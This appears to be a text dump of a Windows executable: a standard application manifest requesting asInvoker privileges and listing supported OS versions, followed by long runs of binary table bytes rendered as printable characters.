<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"></supportedOS><supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS><supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS></application></compatibility></assembly>
1(1F1d1@2
3!3&303F3\3
3)4J4h4
5G6a6f6p6
=#=-=2=H=S=[=`=~=
=%>O>y>
4,4Q4{4
585V5t5P6
71767@7V7l7
898Z8x8
9W:q:v:
1 11161@1V1l1
292Z2x2
3W4q4v4
4%5O5y5
818F8\8
8)9J9h9
:G;a;f;p;
<)<6<A<G<z<
!2,292~4
9'9-959
:	;+;2;q;|;
242>2C2]2
616@6O6u6
30"212`2
3 4L4{4
7%9>9]9
: :F:o:
;.<\<q<
0#1O1l1
6-7R7|7
9!:5:q:
<Q=i=o=u={=
1,1V1m1
4T4_4t4
5W5s5y5
9B:M:n:{:
6$6M8J9
=1=U=s>
1=2R2s2
5(5S5z5
6#7J7u7
5A6T6e6v6
7=7]7}7
1#2b3?4f4t4
5!5<5S5
686[738
9*9j9v9
<'<C<Z<
<6=C=\=
0>0H0L0P0T0X0\0`0d0
4*4^4}4
5!5O5t5z5
8"818O8S8W8[8_8c8g8k8o8v819m:L;
<X=^=d=j=p=v=|=
061J1Q1u1
4P4a4p4
9?:]:s:p;
0-0_0p0
?;?C?a?
3 3&3,32383>3D3J3O3S3W3[3_3c3g3k3o3s3w3{3
3>4x4h5
5!6A6c6
60]0X3_3f3y3
5M6U6*7M7
9<:F:c:t:+;
?)?:?K?
1 1*111<1C1J1j1
4U4_4|4b5
5	6)6Q6
1F1m2q2u2y2}2
1Q1c1z1
A0_0p0
5%5<5V5
3K4k4w4
5/6E6R6
8$8,8?8J8S8[8m8
8,9`9y9
9+:e:{:
:/;H;g;
6)60676Z6
0K0c0~0
2,292@2U2
3H4f4m4
407N7U7v7|7
;5<?<L<
142G2c2
3	4F4`4
0"0_0s0
152A2|2
2'3Q3{3
4C5`5~5
6#6M6w6
;&<?<`<
0(1R1|1
2%3O3y3
2/2S2o2
3$3C3_3
4_4k4r4x4~4
7(7/747P7g7
8&808M8w8
;$;A;Q;[;x;~;
<7<S<r<
0#161>1Q1c1
1(242h2
263O3`3
707E7T7b7
5&6H6e6r6
7@8I8P8[8k8{8
9+9^9i9p9
>V?v?|?
5#5;5a5
:F;S;s;
=3===K=V=l=r=
3a3l3u3
4&585C5P5U5o5x5~5
6C6I6[6
9 9E9o9
=/=:=U=f=t=#?
: ;Z=o=
>#>=>W>
4B4I4U4\4|4
4 5?5z5
:,:7:E:d:m:r:x:
;!;;;o;
=!=W=g=q=z=
=	>*>`>
1'2?2H2_2s2
3/3C3N3u3
6,6>6G6K6Q6W6
939=9G9R9`9
;';,;@;
>M?U?]?
0$0*01070=0C0I0O0U0[0a0g0m0s0y0
1#1-171A1K1U1a1
122R2i2
686>6P6_6w6
7+7A7I7U7~7
7-8J8`8h8
9Z:_:l:u:|:
;*<=<V<t<
1Q1\1c1h1
222N2_2i2r2y2
4&4.4<4K4h4
6%6/6c6m6s6
7#7R7h7
81868P8U8o8x8
9@:J:Z:j:
>.>P>r>
?8???M?V?
0)0V0f0m0
02171R1
3.454a4
6%6L6e6
717U7h7w7
8?8`8l8q8w8
;8<X<^<d<
=-=7=N=[=|=
5#5>5v5
858H8e8{8
>*>@>T>[>
1.2J2j2
5\7F8_8
<%<J<u<
<!=L=w=H?m?
0E0f0k0
1(2R2|2
:>;:<w<
<	=:=J=
0K0R0f0
091b1i1|1
1#2L2}2
3x365H5
:";6;C;\;
;!<\<y<
=2>9>I>z>
90F0T0\0b0s0
282H2[2b2
8&888\8i8w8
8#9L9S9j9
9c:i:e;
5-5b5z5
537S7Z7s7
5$5<5v5
909I9f9
;"<"=F=W=u=
?$?;?Q?
2F2S2r2
8+9E96:D:[:
/0Q0[0v0
869E9f9
9&:8:[:
:R:w:4;>;C;c;t;
<7<i<6=A=F>m>"?-?
1'1E1L1i1
3#3-323L3f3w3n4{4
6,676o:
4*444M4T4`4j4
52595E5Q5m5t5
n4j6Z=V?
7*7g7n7u7|7
=F=Z=d=o=
>+>5>L>V>m>w>
?)?F?S?p?}?
1	2I2P2f2c3}3
=-=M=i>n>{>
4h5l5p5t5
7 7$7(7,7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
 484>4`4w4
5/5I5f5
626K6S6c6~6
8.8>8K8`8
9)9>9K9T9Y9l9
;/;:;l;
7"737t7
7#8r8w8
>(?-?8?
;(;<;\;p;
7<7J7R7X7_7f7l7q7w7}7
8$8)8/858;8@8F8L8R8W8]8c8i8n8t8z8
9!9&9,92989=9C9I9O9T9Z9`9f9k9q9w9}9
:#:):/:5:::@:F:L:Q:W:]:c:h:n:t:z:
; ;&;3;B;H;U;d;j;
<.<4<G<W<]<g<u<{<
=$=K=n=
> >/>5>K>Z>`>s>
?'?6?<?G?V?c?x?
6-71=F=K=
=E>O>l>}>
?#?8?=?
70A0^0o0
1)232P2a2v2{2
4%4B4S4h4m4
646E6Z6_6
7	8&878L8Q8
8K9U9r9
:):>:C:
:=;G;d;u;
</=9=V=g=|=
?2?H?e?
010@0Z0h0t0
3'3H3W3x3
4 6b6l6V7.9p9z9d:<<
5s5S6f7
0$080k0
2&2Y2g2
5&5E5Y5
737G7z7
828Q8|8
7s8J9J:
2?2I2`2
2 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3
7 7$7(7s7
969}93:
<$=\=a>
1Q2[2x2
3/3D3I3
3C4M4j4{4
5!565;5
556?6\6m6
707U7|7
%0*0$1
6J7C9#:m:
=n>F?s?
7`8d8h8l8p8t8x8|8
#0o0t0|0s1
9<9K9Q9r9
:-:P:N=r=
5(567H7
9>9D9V9
:9:V:g:
;><C<`<
=N>S>p>6?F?k?r?
030:0E0v0
0&161V1m1}1
172I3k3z3%4=4I4]4"5
849^9':5:A:G:Q:[:f:x:
<&=V=c=w=~=
3F4S4j4q4|4
5*515<5O5V5]5
7'7.757f7
1P2U2r2
4F6X6v?
? ?V?g?
5p9t9x9|9
373?3Q3
5)5j5t5
8&858v9
<M=_>f>
0 0$0(0,0@0D0H0L0P0T0p0t0x0|0
8<9@9D9
9D<K<x<|<
1*2W2n2
46;H;{;
;L=P=T=X=\=`=d=h=l=p=t=x=|=
0F4U8c9
:3;L<P<T<X<\<`<d<h<l<p<t<x<|<
2;4k6r6
2h4l4p4t4x4|4
61E1b1i1
2@2G2V2e2
3%3V3f3
4$4A4U4
6(7c7o7
718;8Z8`8r8
9#:A:M:g:w:
;';/;7;?;G;O;W;_;g;o;z;
<*<5<@<K<V<a<l<w<
60K0x0
1'181h1r1
1-2T2w2
4@5N5Z5`5j5t5
6>7/9r9
:B:h:w:
<,=S=\=g=n=
>)>9>I>Y>b>
?$?7?<?b?}?
0&020A0F0q0w0|0
1/171D1M1X1`1j1r1}1
30353B3|3
5;5b5p5
5*636;6w6
6@9X9^9r9
: ;&;s;
<*<d<m<z<
>^>v>{>
2 3<3c3
;+<0<4<8<<<
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0H1
2*272Y2
3'3C3N3\3b3s3
10151Z1_1g1
2$282N2t2
3,393B3G3L3g3q3}3
4!41494>4I4l4~4
6F7c7o7
9F:K:R:x:
7'9+9/93979;9?9C9G9K9c9K:O:S:W:[:_:c:g:k:o:
:=;B;G;b;g;l;
8$8[8b8
224_9s9
9"9H9i9
213K3Z3h3t3
4 4-4;4I4T4
9.:M:u:	;
r092j2
6b6u6~6
8^8p8x8
>7>U>n>
:#;A;l;w;
;#;';+;/;3;7;;;{<{>
:0G0c0
3K3V3H5R5n5u5
=.=3=A=O=V=^=v=
2-252=2
7&:,:>:I:
1>2j2s2
3%444Y4
4-595E5
:(:5:N:c:
;);R;g;y;
I0O054
9?9d9o9
9*:I:_:i:
<'<P<o<+=[=w=
1*202B2U2
0[0b0m0x0
546]6g6
;";.;6;J;b;g;l;|;
<"<2<7<<<L<Q<V<f<k<p<
=&=T=\=
>'>2>7><>Y>~>
0&0B0M0R0W0r0|0
262K2g2
383O3k3
454T4}4
4a5f5v5
7/767M7c7
7 838=8V8
9#9^9e9
<!<Y<z<
>9>[>&?
<5=G=Y=
=G>[>~>
616S6]6
3=5a7E8
:I;O;4<9<c<k<
= =+=3=Q=]=s=|=
141X1a1l1
;k<l=|=
?>?T?r?}?
G0L0Q0V0h0)121
3"3.383B3F3L3R3X3^3
4"4.4;4B4K4T4d4u4
5/686v6
7(7-737
191C1w1
2]2d2k2r2
6&686y6
7	7$7[7
;";0;;;
<Y=_=m=|=R>Y>r>
1%171I1[1m1
4Z5l5~5
5R6F7{7
132R243f5
7!7X7_7_:
2<2H2T2g2
3&323E3i3
0 0,0K0Q0e0
8	8'8/8
809Z9b9
C0P0]0z0
161R1u1
1%2G2f2y2
4<5C5J5Q5^5j5
5f6k6}6
9":C:V:>;b;
1-292A2k2|2
878>8E8L8Q8Z8p8|8
8)9C9h9
:":,:>:X:p:u:{:
;&;5;O;o;
< <><V<i<
=$=2=F=R=l=
>!>1>=>K>Y>c>i>t>
?1?6?I?f?
0&1I1}1
5!6+60666=6J6P6\6e6
757E7P7W7
:):C:k:
:J;Q;`;
=	>,>U>
1'181G1N1}1
4]6n6t6
677E7O7U7[7y7
8(858B8Z8`8j8~82;
3.3<3Y3_3
9	:[:w:
>R?_?r?
/090B0S0a0g0
4'5;5Z5s5
5 6@6e6w6
7<8U8a8
;-;8;E;V;\;m;
;+<	=B=d=
?%?G?i?
0^1w1~1
3%4*414?4T4`4
5>6H6Z6g6y6
>.>E>V>p>
0,0P0\0
5	6;6r8d9K:W:
3 3$3(3,3034383h3
6/7>7K7
;3<I<c<(=G=
4=5S5}5
<P<v<(=
>$>->4>;>E>X>^>d>k>z>
2%2X2p2y2
3?3P3r3
4V4c4s4
5'515>5H5U5_5
6)656;6Q6l6x6
6	707L7j7
8!8+81888>8O8Z8x8
<n<[=u=
1$142A2e2
4'4I4{4
88:[:F;S;
>	>->9>
?&?U?m?
3%5A5H5s5
3H4/5H5O5z5
<8=E=Y=
=">?>W>w?
0 0:0]0}0
141d1m1
;<<J<q<
<!===J=
1!2D2\2
4+4N4u4
2#2(2\2
:,;6;w;
;&<.<6<><~<
<F=9>L>x>
80H0T0f0v0
1;2C2K2
3J3Y3h3
2%2@2[2
2$3?3j3
5+6Z7r8
121M1h1
7w9>;a<
1?2I3d3
8	9$9?9
=3=R=r=
2"2B2b2
3"3B3b3
5,686S6r6
3*4Z4u4
8$9J9e9
0*0E0j0
1!111A1Q1a1q1
2!212A2a2q2
3#34393T3a3
L3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,404D4H4L4P4
044484<4@4D4X4\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<5@5D5H5L5P5T5
6$6,646<6D6L6T6\6d6l6t6|6
7$7,747<7D7L7T7\7d7l7t7|7
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(0,0004080<0@0D0H0L0P0T0X0$1,141<1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646<6D6L6T6\6d6l6t6|6
7$7,747<7D7L7T7\7d7l7t7|7
8$8,848<8@8H8P8X8`8h8p8x8
9 9(90989@9H9P9X9`9h9p9x9
: :(:0:8:@:H:P:X:`:h:p:x:
; ;(;0;8;@;H;P;X;`;h;p;x;
< <(<0<8<@<H<P<X<`<h<p<x<
= =(=0=8=@=H=P=X=`=h=p=x=
> >(>0>8>@>H>P>X>`>h>p>x>
? ?(?0?8?@?H?P?X?
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
0014181
1064686<6@6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
:D;H;L;h;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<=@=
(3,303
@;H;P;T;X;\;`;d;h;l;t;x;|;
;@<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
<@=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
H2L2P2T2X2\2`2d2h2l2p2t2x2|2
:$:,:4:<:D:L:T:\:d:l:t:|:
< <$<(<,<
0D1H1L1P1
2$202<2H2T2`2l2x2
3 3,383D3P3\3h3t3
4(444@4L4X4d4p4|4
5(545@5L5X5d5p5|5
0$0,040<0D0L0T0\0d0l0t0|0
1$1,141<1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646<6D6L6T6\6d6l6t6|6
1 1(10181@1H1P1X1`1h1p1x1
2 2(20282@2H2P2X2`2h2p2x2
3 3(30383@3H3P3X3`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
7 7(70787@7H7P7X7`7h7p7x7
P2T2X2\2`2d2h2l2p2t2x2|2
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
3`4d4h4l4p4t4x4|4
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
6 6$6(6,6064686<6@6D6H6p6t6x6|6
7 7$7(7,7074787<7@7D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
7d8h8l8p8t8
9 9$9(9,9094989<9@9D9H9L9P9d9h9l9p9t9x9|9
9 ;$;(;,;0;4;8;<;@;D;
= =$=(=,=0=4=8=<=@=D=H=L=P=T=X=l=p=t=x=|=
> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>
? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?|?
4686<6@6H6L6P6T6X6\6d6h6p60?<?H?T?`?l?x?
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
? ?$?(?,?0?4?8?<?@?D?H?L?P?T?X?\?`?d?h?l?p?t?x?|?
0 0$0(04080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
 0$0(0,0004080<0@0D0H0L0P0T0
; ;$;(;,;
8 8$8(8,8084888<8@8D8H8L8P8T8X8\8`8d8h8l8p8t8x8|8
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<@<L<P<T<X<\<`<d<h<l<p<t<x<|<
= =$=(=,=0=4=8=<=@=
182<2@2D2\2`2p2t2x2
3 383H3L3\3`3d3h3p3
4(484<4L4P4T4X4\4d4|4
5,5<5@5P5T5X5\5`5d5l5
6 6$6,6D6T6X6h6l6p6t6x6
7 7(7@7P7T7d7h7l7p7t7|7
8 8(8@8P8T8d8h8l8p8t8|8
9 9$9(9,909D9H9X9\9`9d9h9l9p9x9
:$:<:L:P:`:d:t:x:|:
; ;$;(;,;4;L;\;`;p;t;x;|;
< <$<(<,<4<L<\<`<p<t<x<|<
=(=,=0=4=8=<=P=T=d=h=l=p=t=x=|=
> >$>(>0>H>X>\>l>p>
?,?0?4?8?<?D?\?l?p?
0(080<0@0D0H0L0`0d0t0x0|0
1(1,1014181@1X1h1l1|1
2 282H2L2\2`2p2t2
3 3$3(3,343L3\3`3p3t3
404@4D4T4X4\4`4h4
5,5054585<5@5D5H5P5h5l5
6 6(6@6P6T6d6h6l6p6x6
7 7$74787<7D7\7l7p7
8(888<8L8P8T8\8t8
9 90949<9T9d9h9x9|9
:$:<:L:P:`:d:h:l:t:
;$;4;8;H;L;P;X;p;
<$<4<8<L<P<`<d<h<p<
=$=<=L=P=`=d=h=p=
>(>8><>P>T>d>h>l>p>x>
?,?0?H?X?\?d?|?
0,00040<0T0d0h0x0|0
1,101D1H1X1\1`1h1
2,202@2D2H2P2h2x2|2
3$3(3,343L3\3`3p3t3x3
404@4D4T4X4\4d4|4
5,5<5@5T5X5h5l5p5x5
6$6<6L6P6`6d6h6p6
7$74787L7P7`7d7h7l7t7
8 8(8@8P8T8d8h8l8p8x8
9$94989H9L9P9T9X9`9x9|9
: :0:4:D:H:X:\:`:d:l:
;(;,;D;T;X;h;l;|;
<(<,<D<T<X<\<p<t<
=$=(=8=<=@=H=`=p=t=
> >$>(>0>H>X>h>l>
?0?@?D?T?d?h?l?t?
0 0$0(0@0P0T0l0p0
1 181<1T1X1p1t1
2,20242L2\2`2x2|2
3,3034383L3P3`3d3t3x3|3
4 4$4,404D4H4`4p4t4x4|4
5$5(5,50545<5@5D5H5L5T5l5p5
6 60646D6H6L6d6h6
7$74787<7P7T7X7`7x7|7
8,8<8@8D8\8l8p8
9$94989<9T9X9\9p9t9
:4:8:<:@:T:X:\:t:x:
;$;(;@;D;\;`;d;h;l;p;
<$<4<8<<<@<H<L<P<X<\<`<d<x<|<
=0=4=8=P=T=X=l=|=
> >(>@>P>T>X>`>d>x>|>
? ?0?4?D?T?X?\?p?
0,00040L0\0l0|0
1$141D1H1`1d1|1
2 2$2(2@2D2H2P2h2l2p2t2x2|2
3034383@3D3H3P3T3X3l3p3t3x3
4 4$4(40444H4L4P4h4x4
5(5,5D5T5X5\5p5t5
60646L6P6h6l6p6
7 7$74787<7T7d7h7x7
848D8H8X8\8`8x8|8
9 9$94989P9T9l9p9t9
: :8:H:X:\:`:d:h:l:p:t:x:|:
; ;$;(;,;0;4;<;@;H;`;d;h;l;t;
<0<4<L<\<`<d<h<p<t<|<
= =$=,=0=D=H=L=P=d=h=l=p=t=|=
>0>4>D>T>X>h>x>|>
?0?@?P?`?p?t?
0(080<0@0D0H0\0`0p0t0x0|0
10141L1P1h1l1p1
2,2024282<2@2D2H2L2P2T2\2t2x2
3$3(3,343<3T3d3h3l3p3
4(4,4<4
1$1,141<1D1L1T1\1d1l1t1|1
2(20282D2d2p2
3<3H3h3p3|3
4<4D4L4T4\4d4l4t4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,686@6X6|6
7$7D7L7T7`7
8$8,848<8H8h8p8x8
989@9P9t9|9
:$:,:4:<:D:L:T:\:d:l:t:|:
;$;,;4;<;D;L;T;\;d;l;t;|;
<,<4<<<D<L<T<\<d<p<x<
=4=@=d=l=t=|=
>$>,>4><>D>L>T>\>d>l>t>
?$?,?<?D?X?l?|?
0$0,040<0D0L0T0\0d0l0t0|0
1 1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5d5p5
6$6,646<6H6P6t6|6
7$7,747<7D7L7T7\7d7l7t7|7
8$8,848<8D8L8T8\8d8l8t8|8
9$9,949<9D9L9T9\9d9l9t9
:$:,:4:<:D:L:T:\:d:l:t:|:
;<;H;h;p;
<<<D<P<p<x<
=4=<=H=h=t=|=
> >,>L>T>`>
?$?,?8?X?`?h?p?|?
0 0@0H0T0t0
101<1\1d1l1x1
2$2,242<2D2L2T2`2
3$3,343<3D3L3T3\3d3l3x3
4(4T4t4|4
5$5D5P5p5x5
6$606P6X6`6h6t6
7(70787D7d7l7t7
8<8H8h8t8
9 9@9L9l9t9
9,:<:H:P:
;4;D;P;X;
<(<8<D<L<
=8=H=T=\=
>@>P>\>d>
?P?`?l?
0$0,0`0p0|0
1 1@1H1P1X1`1h1x1
20282@2L2l2t2
343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
4,545<5D5L5T5\5d5l5t5|5
6(6H6P6\6|6
787@7H7P7X7`7l7
8$8D8P8X8p8
909<9\9h9
:,:8:@:X:|:
;$;D;P;p;|;
< <T<d<p<x<
= =D=L=T=\=d=l=t=|=
>$>,>4><>D>L>T>\>h>
?$?,?4?<?D?L?T?\?d?l?t?|?
0 0(00080@0P0t0|0
1$1,141<1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,4D4L4T4\4d4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646<6D6L6T6\6h6
7$7,747<7D7L7T7\7d7l7t7|7
8$808T8\8d8l8t8|8
9$9,949<9D9L9T9\9d9l9t9|9
:,:4:<:D:L:T:\:d:l:t:|:
;$;,;`;p;|;
< <0<T<\<d<l<t<|<
=$=,=4=<=D=L=T=\=d=l=t=|=
>$>,>4><>D>L>T>\>d>l>t>|>
?$?,?4?<?D?L?T?\?d?l?t?|?
0$0,040<0D0L0T0\0d0l0t0|0
1$1@1T1d1l1t1
2(2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5p5x5
6$6,6<6D6L6T6\6d6l6t6|6
7 7@7H7T7\7
8 8D8L8T8\8d8l8t8|8
9$9,949<9D9P9t9|9
:$:,:4:<:D:L:T:\:d:l:t:|:
;$;,;4;<;D;L;T;\;t;|;
<$<<<D<L<X<x<
=$=,=4=<=D=L=T=\=d=l=t=|=
>$>,>4><>T>`>
?,?<?H?l?t?|?
0H0X0d0
1$1,141<1D1L1T1\1d1l1
2$2,242<2D2\2h2p2
3 3(3L3T3l3t3|3
4$4,444<4D4T4`4
5,545<5D5L5h5x5
686@6L6l6t6|6
7$7,787\7d7l7t7|7
7,8<8H8h8p8x8
90989D9d9l9t9
:$:,:4:<:D:L:X:`:
;$;,;4;<;D;L;T;d;l;x;
<(<L<T<\<d<l<t<|<
=$=,=4=<=D=L=T=\=d=l=x=
>$>,>4><>D>L>T>\>d>l>
? ?@?H?P?`?
0$0D0L0T0\0h0
1$1D1L1T1\1d1p1x1
2 2(282\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4h4
5$5,545<5D5P5X5|5
6$6,646<6D6L6T6\6d6l6t6|6
7 7@7H7X7|7
888@8H8T8t8|8
9(989D9d9l9x9
:(:L:T:\:d:l:t:|:
;$;,;4;<;D;L;T;\;d;l;t;|;
<$<,<4<<<D<L<T<\<d<p<
=$=,=4=<=D=L=T=\=d=l=t=|=
>$>,>4><>D>L>T>\>d>l>t>|>
?$?,?4?<?D?L?T?\?d?l?t?|?
0$0<0D0L0T0\0|0
141<1D1L1T1\1d1l1t1|1
2$2,242@2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545@5H5l5t5|5
6$6,646<6D6L6T6\6d6t6
7<7D7L7T7`7
8(8<8L8X8x8
9 9(949<9p9
:$:,:4:<:D:L:X:|:
;(;L;T;\;d;l;t;|;
< <D<L<T<\<d<|<
=$=0=P=X=`=h=t=
> >D>L>T>l>|>
?$?,?8?X?h?t?
0$0,040<0D0P0p0x0
1 1,141T1\1x1
2,242<2D2L2T2`2
343<3D3P3p3|3
4 4(4,444H4P4X4`4d4h4p4
5 545<5D5L5P5T5X5`5l5
6 6,6P6
7 7(70787D7d7p7
848<8D8L8X8x8
849<9|9
:$:D:P:p:|:
;(;H;P;X;`;l;
<0<8<@<H<T<t<|<
=(=4=<=T=\=d=p=
>8>@>H>P>X>`>h>p>x>
?,?4?<?D?L?T?d?
0$0,040@0h0
1<1H1p1
2 2D2P2X2t2
3$343@3`3l3
4$4,444<4D4L4X4x4
5,585@5`5
646<6D6P6p6x6
7$7,7<7`7l7t7
8 8(808@8H8P8\8
9$9L9p9|9
:$:,:8:X:`:l:
;$;,;4;<;D;L;T;\;d;l;t;|;
<$<0<P<\<|<
=,=4=P=p=x=
>$>,>4><>D>L>T>\>d>l>t>|>
?$?D?L?T?\?h?
0$0,040<0H0h0p0x0
0 1@1H1P1X1`1h1p1x1
2 2(202<2\2d2l2t2
3 3(30383@3L3l3t3|3
4,444<4D4P4p4|4
5<5H5h5p5|5
6(60686@6H6P6X6`6h6p6x6
7(707P7t7
8$8,848<8D8L8T8\8d8l8x8
9D9h9t9|9
:(:L:X:`:
;8;\;h;p;
<$<,<4<<<D<T<h<x<
=0=<=D=d=x=
>$>,>0>4>8><>@>D>L>`>h>|>
? ?@?H?T?t?|?
0 0(0<0D0X0`0t0|0
1,1P1\1d1
2,2D2H2h2p2t2
3,30383@3H3L3T3h3
4(4D4H4h4
5(5H5h5
6(6H6d6h6
7(7H7h7
8(8D8H8h8
909P9p9
:8:@:L:l:x:
;$;,;4;8;@;T;\;d;l;p;x;
<0<8<D<d<l<x<
=4=@=`=h=t=
>0><>\>d>l>t>|>
?8?D?d?l?t?|?
0<0H0h0t0
1 1@1H1P1\1|1
242@2`2l2
383@3H3L3T3h3p3x3
40484@4H4L4T4h4p4x4
5<5H5h5p5|5
606<6\6d6p6
7$7,787X7`7h7l7t7
80888@8L8l8t8
9$9,949<9D9L9X9x9
:(:4:T:\:h:
; ;,;h;p;x;
;8<@<H<X<d<l<
=<=`=l=t=
> >4><>@>D>T>\>d>l>
?0?8?@?H?\?d?h?p?
0,04080@0D0H0P0X0`0t0|0
1 1(1,1014181<1D1X1`1t1|1
`0d0h0l0p0t0x0|0
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|2
4 4$4(4<4@4T4
5 5,50545P5T5
?0?T?x?
040T0t0
4,5T5t5
647\7|7